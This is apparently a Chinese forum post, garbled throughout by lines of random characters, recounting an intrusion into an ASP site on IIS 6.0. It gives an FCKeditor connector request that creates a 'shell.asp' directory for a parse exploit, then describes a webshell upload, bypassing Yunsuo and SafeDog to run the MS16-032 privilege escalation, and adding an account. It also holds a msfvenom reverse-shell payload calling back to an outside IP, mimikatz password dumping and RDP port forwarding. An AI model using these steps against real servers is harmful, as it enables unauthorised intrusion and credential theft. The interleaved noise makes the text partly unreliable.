|
- O; n& i# o0 Q% w/ n
( v: C0 ] Y7 { f9 l4 r 1 l3 M- y4 g9 f. { I3 `
: c4 ?4 e2 R% i# g3 J3 l | 6 V* G# d2 v, G% c: Z+ C
* T$ s' h2 _1 G+ v T n' f Q _
, x0 E$ x7 k8 P* ^, v
一、 利用getwebshell篇
0 K& X* s. u. P6 I7 L/ [6 B6 ]3 @
2 d: M/ w @/ x" V3 S首先对目标站进行扫描，发现是asp的，直接扫出网站后台和默认数据库，下载解密登陆如图：
6 n* O$ I1 d4 m3 Y3 d4 }5 Y( `0 H
; Y* T4 l1 K+ F2 ?
' o5 Z9 s) ^" c8 l1 a, F下面进后台发现有fckeditor，而且还是iis6.0的，可以考虑创建个asp目录来构造解析（fck编辑器路径被改成别的需要burpsuite抓包的时候看到）
5 |+ H, b5 M S2 Y& `. u& c8 R( G: q4 A
% L: R4 ]- v3 l: f x3 u下面我们构造一个asp目录，如：
$ B+ W) m) m4 N
6 W1 _1 I( e! y) N4 Y6 d5 } 0 k* i/ A8 F7 c, d! w. [9 _3 a* \) T
http://www.xxoo.com/manage/hscxeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975 , ]( i4 S& \2 J i5 ]; x1 j8 G
+ \- S1 k( ~$ I: o# n( n1 ~9 H+ `3 \ * Y- k8 c; L0 ~$ F! w( u7 d/ e
然后再给shell.asp目录上传一个jpg图片格式的一句话，然后用hatchet打开，然后看了一下支持aspx，那么我们就用包含的办法先把aspx后缀名改成.rar，然后再创建个111.ASPx，里面包含rar文件，进去以后看进程有云锁和安全狗，那么，那么我们慢慢来，慢慢来。
# j% L6 s7 x+ M+ r" N% Q( a# Y" T
5 P% c$ c: @( l. x% F一、 绕过安全狗云锁提权并且加账号
/ O8 N$ P1 O+ \- |5 Q4 R' A
* ?4 i6 s' Z$ f" B没法看系统信息，但是根据网站404页面可以断定是2003服务器，然后接着访问C:\Program Files (x86)存在断定是2003 64位系统，那么我们说干就干，我们上传ms16-032 64位直接干，但是发现上传exe或者别的格式exp会自动消失，看进程也没杀毒呀，没错没杀毒，是云锁有个功能防御了，那么突破云锁上传的方法就是利用rar，先把exp打包为64.rar上传，然后我们翻一下rar在哪个目录，在C:\Program Files (x86)，然后开干
& L0 Q* K6 o* k4 a* E
+ c! m. F0 \ L& Y- J如图：
- A, W* B, ~$ t9 w
6 r: d) F1 E; J' M( d% Q- F
然后执行直接是system权限,然后我用干狗神器给加了一个账号用tunna反弹3968提示不是远程组，我操后来也想着用getpassword64抓明文密码，但是一执行就卡死，没办法想到了metasploit
/ e l5 O. j2 C/ I$ Q' e$ L
! e- K" C0 ?6 t一、 利用metasploit
4 h: `) e0 n4 H2 W
% i" N$ Z3 {5 C: |% ~" i3 B( b
首先用pentestbox生成一个64位的payload如下命令
2 i, h9 i# k9 a; U, N3 ?
) ^7 n j7 G. ~- P
msfVENOM -p windows/x64meterpreter/reverse_tcp lhost=42.51.1.1 lport=443 -f exe > c:\mata.exe
: M% g C% ]7 t6 {0 \. R
% ~6 t4 ~+ G& S8 R" Y7 O) }! B
为什么要用443端口，之前我测试用别的端口直接被墙了没法上线，下面我们在system下执行这个mata，上线如图：
9 d) E7 e+ o; S
$ A8 e5 Z7 L# [ z: W/ Q下面我们用这个命令抓一下明文密码命令1：use mimikatz 命令2：kerberos如下图：
% s, t0 a9 i4 u- u; y8 L% U$ q4 a
% K8 G$ I! k! t9 N: _/ i5 A6 T下面我们来做一个监听如下命令：
+ [* H$ G0 A3 |
* Y! t" Z0 F4 W9 F! U/ Nportfwd add -l 6655 -p 3968 -r 127.0.0.1，这个命令的意思就是把目标服务器的远程3968转发到pentestbox的公网IP的6655端口如图：
' d8 U' w! ^3 N! z4 p" O; i9 g
8 C4 [% T' \/ p6 f/ T6 B
' ?! A5 ]4 `1 E' w% ?7 } |
! l0 C. l/ o" }( }) o8 h5 K + F1 D8 k6 X: ]
' ^* i, z/ e/ ~& b5 H
; I1 b3 S, H4 z3 p8 X. O
9 [. o5 s, p2 a* j& h: M; m
6 {- D# n& [( `( v+ _8 D: e
! f: U" i' N; P. t. R3 G2 j
5 O6 |6 M8 ~; a" _0 C" U
1 O, o& v1 ~5 \+ d6 C
# y% Z5 M: W1 J5 z% K( \% B; @
7 x1 S! ] R% G2 e s0 Y ) x& f, z9 K; m2 W
% b5 J- l f" d' P4 s8 w1 X
9 p' M7 h, e) [' X3 ?& C% y | 
发表于 2018-10-20 20:31:43
收藏
支持
反对
匿名
发表于 2021-11-20 23:30:06